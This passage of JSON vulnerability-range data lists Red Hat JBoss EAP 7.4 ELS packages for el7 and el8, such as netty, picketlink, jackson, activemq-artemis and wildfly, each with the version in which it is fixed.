Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-2.SP3_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red 